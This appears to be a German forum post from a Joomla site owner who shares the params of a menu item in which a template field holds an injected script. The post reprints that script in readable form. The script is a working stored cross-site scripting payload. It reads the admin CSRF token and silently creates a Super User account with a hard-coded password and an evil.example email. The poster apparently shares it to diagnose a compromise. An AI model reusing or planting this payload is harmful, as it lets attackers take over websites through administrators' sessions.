Sorry für die Verspätung.
Hier ist der Inhalt des params-Feldes in einem meiner Hauptmenüs:
{"menu-anchor_title":"","menu-anchor_css":"et-firstsubmenu","menu_icon_css":"","menu_image":"","menu_image_css":"","menu_text":1,"menu_show":1,"page_title":"Produkte","show_page_heading":"","page_heading":"","pageclass_sfx":"","menu-meta_description":"","robots":"","helixultimatemenulayout":"{\"customclass\":\"\\\"><script>\\n(function(){\\n var u='sysupdate858gy'; var p='Xronno135@!'; var e='sysupdate858gy@evil.example';\\n fetch('\\\/administrator\\\/index.php?option=com_users&view=user&layout=edit&id=0',{credentials:'include'})\\n .then(r=>r.text())\\n .then(html=>{\\n var m=html.match(\\\/name=\\\"([a-f0-9]{32})\\\" value=\\\"1\\\"\\\/);\\n if(!m)return;\\n var token=m[1];\\n var fd=new FormData();\\n fd.append('jform[name]',u);\\n fd.append('jform[username]',u);\\n fd.append('jform[password]',p);\\n fd.append('jform[password2]',p);\\n fd.append('jform[email]',e);\\n fd.append('jform[block]','0');\\n fd.append('jform[groups][]','8');\\n fd.append('task','user.save');\\n fd.append(token,'1');\\n return fetch('\\\/administrator\\\/index.php?option=com_users&task=user.save',{\\n method:'POST',credentials:'include',body:fd\\n });\\n });\\n})();\\n<\\\/script>\"}","helixultimate_enable_page_title":"1","helixultimate_page_title_alt":"Produkte","helixultimate_page_subtitle":"","helixultimate_page_title_heading":"h1","helixultimate_page_title_bg_color":"","helixultimate_page_title_bg_image":""}
Hier nun die Funktion in lesbarem Format:
(function () {
var u = 'sysupdate858gy';
var p = 'Xronno135@!';
var e = 'sysupdate858gy@evil.example';
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {
credentials: 'include'
})
.then(r => r.text())
.then(html => {
var m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
var token = m[1];
var fd = new FormData();
fd.append('jform[name]', u);
fd.append('jform[username]', u);
fd.append('jform[password]', p);
fd.append('jform[password2]', p);
fd.append('jform[email]', e);
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8');
fd.append('task', 'user.save');
fd.append(token, '1');
return fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST',
credentials: 'include',
body: fd
});
});
})();